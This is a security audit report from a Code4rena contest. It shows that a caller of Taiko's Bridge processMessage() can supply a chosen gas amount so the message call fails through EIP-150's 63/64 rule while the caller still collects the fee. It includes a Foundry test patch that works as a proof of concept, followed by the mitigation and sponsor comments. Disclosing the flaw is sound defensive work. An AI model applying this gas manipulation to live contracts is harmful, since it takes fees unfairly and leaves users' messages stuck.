Malicious caller of processMessage() can pocket the fee while forcing excessivelySafeCall() to fail

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/main/packages/protocol/contracts/bridge/Bridge.sol#L280-L298

Vulnerability details

Summary

The logic inside function processMessage() provides a reward to the msg.sender if they are not the refundTo address. However this reward or _message.fee is awarded even if the _invokeMessageCall() on L282 fails and the message goes into a RETRIABLE state. In the retriable state, it has to be called by someone again and the current msg.sender has no obligation to be the one to call it.

This logic can be gamed by a malicious user using the 63/64th rule specified in EIP-150.

  File: contracts/bridge/Bridge.sol

  278:                          // Use the specified message gas limit if called by the owner, else
  279:                          // use remaining gas
  280: @--->                    uint256 gasLimit = msg.sender == _message.destOwner ? gasleft() : _message.gasLimit;
  281:
  282: @--->                    if (_invokeMessageCall(_message, msgHash, gasLimit)) {
  283:                              _updateMessageStatus(msgHash, Status.DONE);
  284:                          } else {
  285: @--->                        _updateMessageStatus(msgHash, Status.RETRIABLE);
  286:                          }
  287:                      }
  288:
  289:                      // Determine the refund recipient
  290:                      address refundTo =
  291:                          _message.refundTo == address(0) ? _message.destOwner : _message.refundTo;
  292:
  293:                      // Refund the processing fee
  294:                      if (msg.sender == refundTo) {
  295:                          refundTo.sendEther(_message.fee + refundAmount);
  296:                      } else {
  297:                          // If sender is another address, reward it and refund the rest
  298: @--->                    msg.sender.sendEther(_message.fee);
  299:                          refundTo.sendEther(refundAmount);
  300:                      }

Description

The _invokeMessageCall() on L282 internally calls excessivelySafeCall() on L497. When excessivelySafeCall() makes an external call, only 63/64th of the gas is used by it. Thus the following scenario can happen:

• Malicious user notices that L285-L307 uses approx 165_000 gas.

• He also notices that L226-L280 uses approx 94_000 gas.

• He calculates that he must provide approximately a minimum of 94000 + (64 * 165000) = 10_654_000 gas so that the function execution does not revert anywhere.

• Meanwhile, a message owner has message which has a _message.gasLimit of 11_000_000. This is so because the receive() function of the contract receiving ether is expected to consume gas in this range due to its internal calls & transactions. The owner expects at least 10_800_000 of gas would be used up and hence has provided some extra buffer.

• Note that any message that has a processing requirement of greater than 63 * 165000 = 10_395_000 gas can now become a target of the malicious user.

• Malicious user now calls processMessage() with a specific gas figure. Let's use an example figure of {gas: 10_897_060}. This means only 63/64 * (10897060 - 94000) = 10_634_262 is forwarded to excessivelySafeCall() and 1/64 * (10897060 - 94000) = 168_797 will be kept back which is enough for executing the remaining lines of code L285-L307. Note that since (10897060 - 94000) = 10_803_060 which is less than the message owner's provided _message.gasLimit of 11_000_000, what actually gets considered is only 10_803_060.

• The external call reverts inside receive() due to out of gas error (since 10_634_262 < 10_800_000) and hence _success is set to false on L44.

• The remaining L285-L307 are executed and the malicious user receives his reward.

• The message goes into RETRIABLE state now and someone will need to call retryMessage() later on.
  A different bug report titled "No incentive for message non-owners to retryMessage()" has also been raised which highlights the incentivization scheme of retryMessage().

Impact

• Protocol can be gamed by a user to gain rewards while additionaly saving money by providing the least possible gas.

• There is no incentive for any external user now to ever provide more than {gas: 10_897_060} (approx figure).

Proof of Concept

Apply the following patch to add the test inside protocol/test/bridge/Bridge.t.sol and run via forge test -vv --mt test_t0x1c_gasManipulation to see it pass:

diff --git a/packages/protocol/test/bridge/Bridge.t.sol b/packages/protocol/test/bridge/Bridge.t.sol
index 6b7dca6..ce77ce2 100644
--- a/packages/protocol/test/bridge/Bridge.t.sol
+++ b/packages/protocol/test/bridge/Bridge.t.sol
@@ -1,11 +1,19 @@
 // SPDX-License-Identifier: MIT
 pragma solidity 0.8.24;
 
 import "../TaikoTest.sol";
 
+contract ToContract {
+    receive() external payable {
+        uint someVar;
+        for(uint loop; loop < 86_990; ++loop)
+            someVar += 1e18;
+    }
+}
+
 // A contract which is not our ErcXXXTokenVault
 // Which in such case, the sent funds are still recoverable, but not via the
 // onMessageRecall() but Bridge will send it back
 contract UntrustedSendMessageRelayer {
     function sendMessage(
         address bridge,
@@ -115,12 +123,71 @@ contract BridgeTest is TaikoTest {
         register(address(addressManager), "bridge", address(destChainBridge), destChainId);
 
         register(address(addressManager), "taiko", address(uint160(123)), destChainId);
         vm.stopPrank();
     }
 
+    
+    function test_t0x1c_gasManipulation() public {
+        //**************** SETUP **********************
+        ToContract toContract = new ToContract();
+        IBridge.Message memory message = IBridge.Message({
+            id: 0,
+            from: address(bridge),
+            srcChainId: uint64(block.chainid),
+            destChainId: destChainId,
+            srcOwner: Alice,
+            destOwner: Alice,
+            to: address(toContract),
+            refundTo: Alice,
+            value: 1000,
+            fee: 1000,
+            gasLimit: 11_000_000,
+            data: "",
+            memo: ""
+        });
+        // Mocking proof - but obviously it needs to be created in prod
+        // corresponding to the message
+        bytes memory proof = hex"00";
+
+        bytes32 msgHash = destChainBridge.hashMessage(message);
+
+        vm.chainId(destChainId);
+        skip(13 hours);
+        assertEq(destChainBridge.messageStatus(msgHash) == IBridge.Status.NEW, true);
+        uint256 carolInitialBalance = Carol.balance;
+
+        uint256 snapshot = vm.snapshot();
+        //**************** SETUP ENDS **********************
+
+
+
+        //**************** NORMAL USER **********************
+        console.log("\n**************** Normal User ****************");
+        vm.prank(Carol, Carol);
+        destChainBridge.processMessage(message, proof);
+
+        assertEq(destChainBridge.messageStatus(msgHash) == IBridge.Status.DONE, true);
+        assertEq(Carol.balance, carolInitialBalance + 1000, "Carol balance mismatch");
+        if (destChainBridge.messageStatus(msgHash) == IBridge.Status.DONE)
+            console.log("message status = DONE");
+
+
+
+        //**************** MALICIOUS USER **********************
+        vm.revertTo(snapshot);
+        console.log("\n**************** Malicious User ****************");
+        vm.prank(Carol, Carol);
+        destChainBridge.processMessage{gas: 10_897_060}(message, proof); // @audit-info : specify gas to force failure of excessively safe external call
+
+        assertEq(destChainBridge.messageStatus(msgHash) == IBridge.Status.RETRIABLE, true); // @audit : message now in RETRIABLE state. Carol receives the fee.
+        assertEq(Carol.balance, carolInitialBalance + 1000, "Carol balance mismatched");
+        if (destChainBridge.messageStatus(msgHash) == IBridge.Status.RETRIABLE)
+            console.log("message status = RETRIABLE");
+    }
+
     function test_Bridge_send_ether_to_to_with_value() public {
         IBridge.Message memory message = IBridge.Message({
             id: 0,
             from: address(bridge),
             srcChainId: uint64(block.chainid),
             destChainId: destChainId,

Tools Used

Foundry

Recommended Mitigation Steps

Reward the msg.sender (provided it's a non-refundTo address) with _message.fee only if _invokeMessageCall() returns true. Additionally, it is advisable to release this withheld reward after a successful retryMessage() to that function's caller.

Assessed type

Other

[c4-pre-sort]

minhquanym marked the issue as sufficient quality report

[c4-pre-sort]

minhquanym marked the issue as primary issue

[dantaik]

Fixed in taikoxyz/taiko-mono#16613

I don't think paying fees only when _invokeMessageCall returns true is a good idea as this will require the relayer to simulate all transactions without guaranteed reward.

[c4-sponsor]

dantaik (sponsor) confirmed

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean marked the issue as selected for report